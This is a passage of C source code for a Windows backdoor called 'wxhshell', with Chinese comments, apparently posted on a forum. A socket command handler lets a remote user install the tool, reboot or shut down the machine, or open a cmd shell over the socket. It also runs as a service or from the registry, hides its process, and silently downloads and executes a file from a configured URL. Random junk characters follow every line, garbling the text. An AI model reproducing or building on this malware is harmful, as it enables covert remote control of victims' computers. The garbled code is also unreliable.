  else { ;x.5_Xw{.  
\Vb|bw'e(  
    switch(cmd[0]) { V9Pw\K!w#\  
  2:oAS  
  // 帮助 y=!7PB_\|  
  case '?': { X{Ij30Bmv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0hg4y  
    break; e1Q   
  } A3^_'K  
  // 安装 L.2!Q3&  
  case 'i': { ^|%u%UR  
    if(Install()) r(j:C%?}C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'C7$,H'  
    else 70 -nAv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hh!4DHv   
    break; <c%  
    } Z\r?>2  
  // 卸载 O\F$~YQ  
  case 'r': { go9tvK  
    if(Uninstall()) C <Pd_&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #$X _,+<HZ  
    else uA4x xY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [nA1WFfM  
    break; YWAH(  
    } IFsh"i  
  // 显示 wxhshell 所在路径 ;F|8#! (  
  case 'p': { ]w0_!Z&  
    char svExeFile[MAX_PATH]; [2{2w68D!  
    strcpy(svExeFile,"\n\r"); Gv&%cq1  
      strcat(svExeFile,ExeFile); ,n{R,]y\  
        send(wsh,svExeFile,strlen(svExeFile),0); &6e A.  
    break; .;F%k,!v  
    } m$bYx~K  
  // 重启 t|P+^SL  
  case 'b': { 6L"b O'_5K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !&},h=  
    if(Boot(REBOOT)) tH=jaFJ   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZZ>F ^t  
    else { %6\L^RP  
    closesocket(wsh); 4&AGVplgF  
    ExitThread(0); [}I|tb>Pg  
    } 9zl-C*9vj  
    break; MbxJ3"@  
    } $px1D$F!  
  // 关机 (QTQxZ  
  case 'd': { 1}R\L"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CC)Mws+2  
    if(Boot(SHUTDOWN)) VpX*l3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3/y"kl:< -  
    else { :28[k~.bo  
    closesocket(wsh); f}EsS  
    ExitThread(0); RK/>5  
    } :}-VLp4b  
    break; OP|X-  
    } IdoS6   
  // 获取shell b#-=Dbe  
  case 's': { ?)gc;K  
    CmdShell(wsh); <m/XGFc  
    closesocket(wsh); _6m{zvyX>  
    ExitThread(0); Dtox/ ,"  
    break; [9d\WPLC  
  } ;OC{B}.vH  
  // 退出 }{}?mQ  
  case 'x': { wbB\~*Z)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #+H3b!8=  
    CloseIt(wsh); :w]NN\  
    break; v}\Fbe  
    } d ATAH}r&  
  // 离开 r6&+pSA>  
  case 'q': { @^%YOorr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g_@b- :$Yq  
    closesocket(wsh); h.\p+Qw.  
    WSACleanup(); a4XK.[O  
    exit(1); MoXai0d%  
    break; ?rY+,nQP  
        } Gd`s01GKQ  
  } +TAyCxfmt  
  } ]c1#_MW  
JQ|*XU  
  // 提示信息 wlQ @3RN>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p+228K ;H  
} qOAP_\@T  
  } =QIu3%&  
I+QM":2  
  return; #r,!-;^'p  
} cd`P'GDF  
g'Wr+( A_  
// shell模块句柄 c_t7<  
int CmdShell(SOCKET sock) MO? }$j  
{ )Fw#]~Z  
STARTUPINFO si; y Ni3@f  
ZeroMemory(&si,sizeof(si)); hY/qMK5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]F"P3':  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  He%v4S  
PROCESS_INFORMATION ProcessInfo; >3,}^`l  
char cmdline[]="cmd"; @YVla !5O@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^9]g5.z:  
  return 0; H6Ytp^~>  
} _0y]U];ce  
OKAmw >{  
// 自身启动模式 WHqw=! G  
int StartFromService(void) ps^["3e  
{ *uSlp_;kB  
typedef struct C)~%(< D  
{ OnyAM{$g  
  DWORD ExitStatus; T+PERz(  
  DWORD PebBaseAddress; ~>Y^?l  
  DWORD AffinityMask; Y5y7ONcn  
  DWORD BasePriority; ;X:Bh8tEV  
  ULONG UniqueProcessId; 8K@e8p( y  
  ULONG InheritedFromUniqueProcessId; oN)I3wO$  
}   PROCESS_BASIC_INFORMATION; RRro.r,  
d6ifJ  
PROCNTQSIP NtQueryInformationProcess; ,."wxP2u  
RU~Pa+H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TEbIU8{Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aU/y>Y <k  
B 74  
  HANDLE             hProcess; MShcZtN  
  PROCESS_BASIC_INFORMATION pbi; !=HxL-`j  
3BAQ2S}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A8k $.E  
  if(NULL == hInst ) return 0; k@pEs# a  
G *<g%"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T+S\'f\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RB6TM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nm)/BK  
bN|1%[7  
  if (!NtQueryInformationProcess) return 0; (=j/"Mb  
wv=U[:Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i ~)V>x  
  if(!hProcess) return 0; 4pZKm-dM^  
~+,ZD)AKi4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Urol)_3X  
`)kxFD_bH  
  CloseHandle(hProcess); :2+z_+k}<  
7V5kYYR^F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,Y16m{<eC  
if(hProcess==NULL) return 0; \tA@A  
 ~fs} J  
HMODULE hMod; o}D }Q"=A  
char procName[255]; 4;(W0RQa  
unsigned long cbNeeded; X5-[v(/]  
9?^0pR p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]AZCf`7/?  
6G(K8Q{>  
  CloseHandle(hProcess); .yHK  
(4IP&^j:\  
if(strstr(procName,"services")) return 1; // 以服务启动 ;kZJnN"y  
Q(R -8"  
  return 0; // 注册表启动 Galh _;=  
} m|;gl|dTB  
m8eoD{  
// 主模块 y3bL\d1  
int StartWxhshell(LPSTR lpCmdLine) y-S23B(  
{ \?|^w.  
  SOCKET wsl; 0g Hd{H=  
BOOL val=TRUE; Zqv  
  int port=0; yTNHM_P  
  struct sockaddr_in door; IsVR4t]  
YS<KyTb"  
  if(wscfg.ws_autoins) Install(); Hd TB[(  
b8[ ayy  
port=atoi(lpCmdLine); sxdDI?W4  
!Q,Dzv"7  
if(port<=0) port=wscfg.ws_port; cY+n 6k5  
NCYOY  
  WSADATA data; vst;G-ys  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mnw(x#%P  
J3/e;5w2Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gc b8eB ,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h\5~&}Hp  
  door.sin_family = AF_INET; m63>P4h?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hpq\  
  door.sin_port = htons(port); *|cs_,3  
dp2FC   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]ki) (Bb  
closesocket(wsl); dnM.  
return 1; uH7!)LE#  
} Ef3=" }AI;  
e@ 5w?QzW  
  if(listen(wsl,2) == INVALID_SOCKET) { ? :A%$T  
closesocket(wsl); Tm0\Oue0  
return 1; QtcYFf g  
} DYrci?8Ith  
  Wxhshell(wsl); %`s1 Ocvp  
  WSACleanup(); |`|zo+aW  
.&Sjazk0XO  
return 0; 0IHAoV60  
0LTsWCUQ6e  
} %WqUZ+yy  
vrh2}biCR  
// 以NT服务方式启动 &o&}5Aba9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .3wx}!:*|  
{ Ci[Ja#p7$h  
DWORD   status = 0; ! GtF%V  
  DWORD   specificError = 0xfffffff; -I z,vd  
:c(I-xif  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dsK*YY jH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]4'V59\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q4vHsy36  
  serviceStatus.dwWin32ExitCode     = 0; f1B t6|W%  
  serviceStatus.dwServiceSpecificExitCode = 0; dIA1\;@  
  serviceStatus.dwCheckPoint       = 0; o*[[nK*fL  
  serviceStatus.dwWaitHint       = 0; NFG~PZ`6R  
X@/wsW(kM\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]6MXG%  
  if (hServiceStatusHandle==0) return; ACI.{`SrQ=  
?\<Kb|Q  
status = GetLastError(); zs'Jgm.v  
  if (status!=NO_ERROR) C?<[oQb#  
{ f'tQLF[r<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z}IuR|=  
    serviceStatus.dwCheckPoint       = 0; a4]=4[(iu>  
    serviceStatus.dwWaitHint       = 0; Y$fF"p G?  
    serviceStatus.dwWin32ExitCode     = status; r jnf30  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1C/Vwf:@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hD,xJ]zv1  
    return; <! *O[0s  
  } @mcP-  
@# . a5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; roIc1Ax:  
  serviceStatus.dwCheckPoint       = 0; a,:Nlr3  
  serviceStatus.dwWaitHint       = 0; bkm: #K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 51;Bc[)%  
} D}2$n?~+  
PpSQf14,  
// 处理NT服务事件,比如:启动、停止 R#ya9GN{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qg*xdefQ%  
{ xj5MKX{CJT  
switch(fdwControl) l\u5RMS('  
{ 3'7X[{uBr  
case SERVICE_CONTROL_STOP: ApcE)mjpc  
  serviceStatus.dwWin32ExitCode = 0; d1NKVMeWr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $SzuUI  
  serviceStatus.dwCheckPoint   = 0; ?9~|K/`l  
  serviceStatus.dwWaitHint     = 0; #qEUGD`  
  { ]XWtw21I1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D/z*F8'c  
  } jk])S~xl?  
  return; ph3dm\U.  
case SERVICE_CONTROL_PAUSE: w3Dqpo8E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n ,@ ge  
  break; l HZ4N{n  
case SERVICE_CONTROL_CONTINUE: ?zYR;r2'b)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1V]j8  
  break; Zj)A%WTD,  
case SERVICE_CONTROL_INTERROGATE: Xx^v%[!`+  
  break; .|y{1?f_  
}; /f>I;z1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NRs%q}lX  
} OjK+`D_C  
Tq%##  
// 标准应用程序主函数 yp pZ@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B^j(Fq  
{ WmblY2  
C-(O*hK  
// 获取操作系统版本 xz}=C:s  
OsIsNt=GetOsVer(); LEAU3doK;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LO k J  
!6J+#  
  // 从命令行安装 nd h\+7  
  if(strpbrk(lpCmdLine,"iI")) Install(); pQ`S%]k.<  
|+1k7S  ,  
  // 下载执行文件 z~jk_|?|?  
if(wscfg.ws_downexe) { &qm:36Y7Xg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OuB [[L  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1+ V<-I@{  
} Oz=!EG|N  
{dvsZJj  
if(!OsIsNt) { .Txwp?};  
// 如果时win9x,隐藏进程并且设置为注册表启动 eM^Y  
HideProc(); [t]q#+Zs  
StartWxhshell(lpCmdLine); n%{oFTLCo  
} Z}>+!Z  
else )2b bG4:N  
  if(StartFromService()) |YrvY1d!  
  // 以服务方式启动 wR9gx-bE 4  
  StartServiceCtrlDispatcher(DispatchTable); K` <`l  
else VS+5{w:t  
  // 普通方式启动 *C(q{|f  
  StartWxhshell(lpCmdLine); :(4];Va  
i6k~j%0m  
return 0; (y2P."  
}
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只看该作者 1 发表于: 2006-10-10
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